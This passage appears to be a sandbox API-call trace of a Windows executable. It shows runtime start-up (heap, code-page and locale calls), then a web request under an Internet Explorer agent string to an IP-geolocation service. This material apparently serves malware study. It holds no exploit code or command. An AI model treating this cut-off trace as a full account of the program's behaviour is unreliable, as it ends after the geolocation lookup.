(HeapHandle=0x6d0000, Flags=0x8, Size=0x98) returned 0x77cc38 [0042.463] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x3e) returned 0x772248 [0042.463] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x6c) returned 0x77ccd8 [0042.463] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x6e) returned 0x77cd50 [0042.463] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x78) returned 0x76f788 [0042.463] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x62) returned 0x77cdc8 [0042.463] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x2e) returned 0x777b90 [0042.463] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x48) returned 0x773748 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x28) returned 0x777588 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x1a) returned 0x77bce8 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x4a) returned 0x77ce38 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x72) returned 0x76f808 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x30) returned 0x777bc8 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x2e) returned 0x777c00 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x1c) returned 0x77bd10 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xd2) returned 0x77ce90 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x7c) returned 0x77cf70 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x36) returned 0x77cff8 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x3a) returned 0x772290 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x90) returned 0x77d038 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x24) returned 0x7775b8 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x30) returned 0x777c38 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x36) returned 0x77d0d0 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x48) returned 0x773798 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x52) returned 0x77d110 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x3c) returned 0x7722d8 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x82) returned 0x77d170 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x2e) returned 0x777c70 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x1e) returned 0x77bd38 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x2c) returned 0x777ca8 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x54) returned 0x77d200 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x52) returned 0x77d260 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x2a) returned 0x777ce0 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x3c) returned 0x772320 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x54) returned 0x77d2c0 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x24) returned 0x7775e8 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x30) returned 0x777d18 [0042.464] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x8c) returned 0x77d320 [0042.464] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x77d5d8 | out: hHeap=0x6d0000) returned 1 [0042.465] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x80) returned 0x77d3b8 [0042.465] GetLastError () returned 0x0 [0042.465] SetLastError (dwErrCode=0x0) [0042.465] GetLastError () returned 0x0 [0042.465] SetLastError (dwErrCode=0x0) [0042.465] GetLastError () returned 0x0 [0042.465] SetLastError (dwErrCode=0x0) [0042.465] GetACP () returned 0x4e4 [0042.465] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x220) returned 0x77d440 [0042.465] GetLastError () returned 0x0 [0042.465] SetLastError (dwErrCode=0x0) [0042.465] IsValidCodePage (CodePage=0x4e4) returned 1 [0042.465] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d5a8 | out: lpCPInfo=0x18d5a8) returned 1 [0042.465] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d070 | out: lpCPInfo=0x18d070) returned 1 [0042.465] GetLastError () returned 0x0 [0042.465] SetLastError (dwErrCode=0x0) [0042.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x18cde8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0042.465] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18d084 | out: lpCharType=0x18d084) returned 1 [0042.465] GetLastError () returned 0x0 [0042.465] SetLastError (dwErrCode=0x0) [0042.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x18cdb8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0042.465] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0042.466] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18cba8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0042.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18d384, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xc5\xd9\x07\x6e\xc0\xd5\x18", lpUsedDefaultChar=0x0) returned 256 [0042.466] GetLastError () returned 0x0 [0042.466] SetLastError (dwErrCode=0x0) [0042.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x18cdd8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0042.466] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0042.466] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18cbc8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0042.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18d284, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xc5\xd9\x07\x6e\xc0\xd5\x18", lpUsedDefaultChar=0x0) returned 256 [0042.466] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0042.466] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x800) returned 0x77d668 [0042.466] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x467634 [0042.466] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x77d3b8) returned 0x80 [0042.466] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x77d3b8) returned 0x80 [0042.467] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x77d3b8) returned 0x80 [0042.467] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x77d3b8) returned 0x80 [0042.467] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x110) returned 0x77de70 [0042.467] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x77d3b8) returned 0x80 [0042.467] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x10) returned 0x77b338 [0042.467] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x77d3b8) returned 0x80 [0042.467] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x77d3b8) returned 0x80 [0042.468] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x77d3b8) returned 0x80 [0042.468] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x77d3b8) returned 0x80 [0042.468] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0042.527] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x772680 [0042.527] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0046.911] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x189888, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18c088 | out: lpBuffer=0x189888*, lpdwNumberOfBytesRead=0x18c088*=0x1d1) returned 1 [0046.912] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0046.913] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0046.913] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x20) returned 0x789848 